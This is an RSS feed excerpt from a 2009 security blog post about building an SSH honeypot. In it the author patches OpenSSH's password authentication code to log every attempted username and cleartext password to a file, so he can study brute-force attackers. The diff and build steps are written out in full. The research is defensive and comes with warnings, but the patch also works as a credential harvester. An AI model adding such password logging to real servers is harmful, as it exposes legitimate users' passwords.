<br /> Tagged: botnet, brute force, c&amp;c, dictionary, IRC, malware, scanner, script kiddies <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/170/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/170/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/170/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=170&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2009/09/30/from-pass_file-to-script-kiddies/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2009/09/personal.png" medium="image">
			<media:title type="html">personal</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2009/09/1337.png" medium="image">
			<media:title type="html">1337</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2009/09/1337_21.png" medium="image">
			<media:title type="html">1337_2</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2009/09/irc11.png" medium="image">
			<media:title type="html">irc1</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2009/09/irc2.png" medium="image">
			<media:title type="html">irc2</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking sshd for a pass_file</title>
		<link>http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/</link>
		<comments>http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 05:25:29 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[dictionary]]></category>
		<category><![CDATA[DynDNS]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[honeynet]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=73</guid>
		<description><![CDATA[First of all, I want to apologize for not getting around to writing part 2 of my previous post yet. I have more free time now and have started research for that post, but haven&#8217;t had a chance to write everything down yet. Hopefully I&#8217;ll get to it soon. Update: some people have been confused [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=73&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>First of all, I want to apologize for not getting around to writing part 2 of <a href="http://paulmakowski.wordpress.com/2009/08/16/a-closer-look-at-the-twitter-controlled-botnet-part-1/" target="_blank">my previous post</a> yet.  I have more free time now and have started research for that post, but haven&#8217;t had a chance to write everything down yet.  Hopefully I&#8217;ll get to it soon.</em></p>
<p><strong>Update:</strong> some people have been confused at to my intention or my recommended use of the code I present here.  Let me make a few things clear:</p>
<ol>
<li><strong>Don&#8217;t make these modifications on any production machine</strong></li>
<li><strong>Don&#8217;t make these modifications on any machine receiving a lot of traffic</strong></li>
<li><strong>This isn&#8217;t the best way to capture logins.</strong></li>
</ol>
<p>I called it a &#8220;hack&#8221; for a reason.  It&#8217;s something I threw together in a few minutes in order to gather the necessary data to conduct the analysis I did in my <a href="http://paulmakowski.wordpress.com/2009/09/30/from-pass_file-to-script-kiddies/" target="_blank">next post</a>.  As <a href="http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/#comment-37" target="_blank">dozzie pointed out</a>, this can be done better by writing a PAM module.  My purpose here was not to write something robust, rather to write something quick in order to find a password file being used against me.  I apologize for any confusion.</p>
<hr />This post concerns another topic I&#8217;ve been interested in for a while: <a href="http://en.wikipedia.org/wiki/Honeypot_%28computing%29" target="_blank">honeypots</a>.  Some friends and I run an SSH server and have that server registered with <a href="http://www.dyndns.com/" target="_blank">DynDNS</a> so that we will always have an easy route to our box without remembering an IP address.  A botnet master may find it to be a profitable endeavor to scan predictable (ours is predictable) DynDNS entries for popular services offered over known ports and attempt to guess credentials for those services.</p>
<p>Keeping in mind that:</p>
<ul>
<li>only a fraction of the subdomains pinged will actually be registered with DynDNS</li>
<li>only a fraction of the registered subdomains will be offering authentication services</li>
<li>only a fraction of the authentication services will allow predictable usernames*, and</li>
<li>only a fraction of those valid usernames will have predictable passwords</li>
</ul>
<p><em>* root logins aren&#8217;t allowed by default on openssh and many other SSH implementations.</em></p>
<p>The (hopefully) small number of boxes that can be owned by brute forcing with this method apparently outweighs the cost to our adversary(ies).  <strong><em>As I later discovered, our IP address wasn&#8217;t enumerated via our DynDNS entry, but was brute forced.  Yeah.  They are trying IP addresses sequentially.</em></strong></p>
<p>We noticed the SSH logs for our box were getting suspiciously long and it was pretty obvious why:</p>
<pre>09/24/2009 12:49:19 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:19 PM: [NOTE] Connection from 118.46.137.101 disconnected
09/24/2009 12:49:20 PM: [FAIL] An error occured during key exchange auth done
09/24/2009 12:49:20 PM: [NOTE] Connection from 118.46.137.101 disconnected
(repeat about 100 times)...</pre>
<p>Our gateway <a href="http://www.snort.org/" target="_blank">Snort</a> agreed that something was up:</p>
<pre>[ ** ] [ 1:2001219:18 ] ET SCAN Potential SSH Scan [ ** ]
[ Classification: Attempted Information Leak ] [ Priority: 2 ]
09/17-10:49:59.339210 118.46.137.101:50905 -&gt; ***.***.***.***:22
(repeat about 100 times)...</pre>
<p><em>The attacking IP addresses would change periodically.</em></p>
<p>Perhaps I could discover if this is a single attacker or if this is multiple attackers:</p>
<ul>
<li>If there is a <strong>single group</strong> behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.</li>
<li>If there are <strong>multiple parties</strong> behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.</li>
</ul>
<p>Of course this is a lot of assuming and is hardly scientific, but promises to be a fun experiment regardless.</p>
<p>My first thought was: I&#8217;ll build a honeynet!  After reading more about honeynets, however, I came to realize that a honeypot would require a lot of network work and a tough cost/benefit analysis.  The problem is that a smart attacker will first check his/her newly compromised environment: is he/she root? is he/she in an obvious VM or jail? what others hosts are on this subnet?</p>
<p>If the attacker isn&#8217;t satisfied that what they&#8217;ve compromised is a unwitting user&#8217;s box (and not a honeypot), they may never execute telling commands or push interesting payloads. On the other hand, if you give the attacker too much access, the attacker may use your box to attack others, host child pornography or conduct other malicious/illegal actions.  To everyone else it will look like your box (and by extension, you) are doing these illegal things.  In such a scenario, you would be presumed guilty unless you can prove you&#8217;re running a honeypot and aren&#8217;t actually the person breaking the law.</p>
<p>Having a severe lack of lawyers at my side (I <em>do</em> know a few poly sci majors), I opted to go a different route, at least for now:</p>
<p><strong>I&#8217;ll modify sshd itself, causing it to log the time and origin of all attempts to authenticate, along with the complete usernames &amp; passwords attempted.</strong></p>
<p>This is <a href="http://unixcluster.dk/2009/03/modifing-openssh-to-work-as-a-honeyd-service/" target="_blank">not a new idea</a>, in fact, it&#8217;s kinda what <a href="http://www.honeyd.org/" target="_blank">honeyd</a> is for, but I thought it would be fun to do the ssh modification myself and follow the password trail to see where it leads.  (Where these harvested passwords lead will be the topic of my next post.)</p>
<p>For obvious reasons, openssh and others never log incorrect passwords (a mistype of your password would get <em>winblowz</em> logged when you meant <em>winblows</em>&#8230;such logging would make it trivial to escalate privilege).</p>
<h3>Setting up the Server:</h3>
<p>I chose to use <a href="http://www.virtualbox.org/" target="_blank">VirtualBox</a> on a Windows XP machine to virtualize Ubuntu 9.04 Desktop, on which I will be serving SSH with openssh.  VirtualBox is like <a href="http://www.vmware.com/products/workstation/overview.html" target="_blank">VMware Workstation</a> except it&#8217;s free (as in speech).  The process of creating and configuring a VM is outside the scope of this post.  Don&#8217;t do this on a production machine or any machine that has multiple users, as privilege escalation may become trivial.</p>
<p>The rest of these instructions will be valid for Ubuntu 9.04 Desktop&#8217;s default directory structure, installed software and openssh-5.1p1.  They can easily be adapted to other environments &amp; versions of openssh.  <strong>The instructions listed here result in multiple installations of openssh-server.  I did&#8217;t really care about overlap in this throwaway VM environment, so long as I could get my modified sshd running with Ubuntu&#8217;s daemon manager.  A purist might do this another way.</strong></p>
<p><strong>1)</strong> Install the required dependencies for building openssh:</p>
<pre>sudo apt-get install zlib1g-dev libssl-dev</pre>
<p><strong>2)</strong> Install openssh-server itself (we&#8217;ll modify the default installation):</p>
<pre>sudo apt-get install openssh-server</pre>
<p><strong>3)</strong> Check which version of openssh you&#8217;re running:</p>
<pre>ssh -v</pre>
<p><strong>4)</strong> <a href="http://www.openssh.com/portable.html" target="_blank">Get the source code</a> of the version of openssh you&#8217;re currently running (by the using the same version we may avoid odd version dependency issues).</p>
<p><strong>5)</strong> (Optional) Download the corresponding .asc file &amp; verify your copy of openssh.</p>
<pre>gpg --recv-key 86FF9C48
gpg --verify openssh-5.1p1.tar.gz.asc openssh-5.1p1.tar.gz</pre>
<p>(The above is the signing key for <a href="http://www.mindrot.org/~djm/photos/c2k4/page_img_1438-jpg.html" target="_blank">Damien Miller</a>, maintainer of portable openssh.  Try to guess which is him.)</p>
<p>Of course, if you&#8217;re really concerned about the integrity of your openssh download, you&#8217;ll want to verify gpg fingerprints as well.</p>
<h3>Hacking sshd:</h3>
<p><strong>1)</strong> Extract the source &amp; verify you can successfully build it:</p>
<pre>tar -xvf openssh-5.1p1.tar.gz
cd openssh-5.1p1
./configure
make
ls -al | grep sshd</pre>
<p>If you see an sshd binary, you compiled it.</p>
<p><strong>2)</strong> Stop the sshd daemon:</p>
<pre>sudo /etc/init.d/ssh stop</pre>
<p><strong>3)</strong> Install the openssh build you just created. (This is to put the config files, etc. in locations that our modified sshd will expect, while breaking very little of the Ubuntu package installation.  Since we&#8217;re not going to modify the config files, we don&#8217;t need to worry about syncing changes between them.)</p>
<pre>sudo make install</pre>
<p><strong>4)</strong> Back up your current sshd binary (just in case):</p>
<pre>sudo cp /usr/sbin/sshd /usr/sbin/sshd_original</pre>
<p><strong>5)</strong> Make the following modification to openssh-5.1p1/auth-passwd.c:</p>
<pre>--- auth-passwd_original.c    2007-10-25 21:25:12.000000000 -0700
+++ auth-passwd.c    2009-09-28 21:35:04.000000000 -0700
@@ -53,6 +53,7 @@
 #include "hostfile.h"
 #include "auth.h"
 #include "auth-options.h"
+#include "canohost.h"

 extern Buffer loginmsg;
 extern ServerOptions options;
@@ -82,6 +83,23 @@
 {
 struct passwd * pw = authctxt-&gt;pw;
 int result, ok = authctxt-&gt;valid;
+
+    if (*password != '')
+    {
+        struct tm *timePtr;
+        time_t localTime;
+        char timeString[100];
+
+        localTime = time(NULL);
+        timePtr = localtime(&amp;localTime);
+        strftime(timeString, 100, "%D %r", timePtr);
+
+        FILE *logFile;
+        logFile = fopen("/var/log/sshd_attempts","a+");
+        fprintf (logFile,"From: %s at: %s | user: %s, pass: %s\n", \
get_remote_ipaddr(), timeString, authctxt-&gt;user, password);
+        fclose (logFile);
+    }
+
 #if defined(USE_SHADOW) &amp;&amp; defined(HAS_SHADOW_EXPIRE)
 static int expire_checked = 0;
 #endif</pre>
<p>Or you can <a href="https://tegosecurity.com/etc/auth-passwd.htm" target="_blank">grab my modified auth-passwd.c file</a> and throw it in your openssh source directory.</p>
<p><strong>6)</strong> Rebuild sshd:</p>
<pre>make</pre>
<p><strong>7)</strong> Stop SSH, replace sshd, Start SSH:</p>
<pre>sudo /etc/init.d/ssh stop
sudo cp sshd /usr/sbin/sshd
sudo /etc/init.d/ssh start</pre>
<p>You&#8217;re done.  You should now have a modified sshd binary running your openssh server and logging all connection attempts to <strong>/var/log/sshd_attempts</strong>.  I&#8217;ve been running my modified sshd for a few days now and have collected quite a few of these attempts. Click below to view the connection attempts against my server.</p>
<p><a href="https://tegosecurity.com/etc/sshd_attempts.txt" target="_blank"><strong>View my Log</strong></a></p>
<p><a href="http://paulmakowski.wordpress.com/2009/09/30/from-pass_file-to-script-kiddies/" target="_blank"><strong>Part 2: From pass_file to Script Kiddies</strong></a></p>
<br /> Tagged: botnet, brute force, dictionary, DynDNS, hacker, honeynet, honeypot, ssh <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/73/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=73&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
	</channel>
</rss>
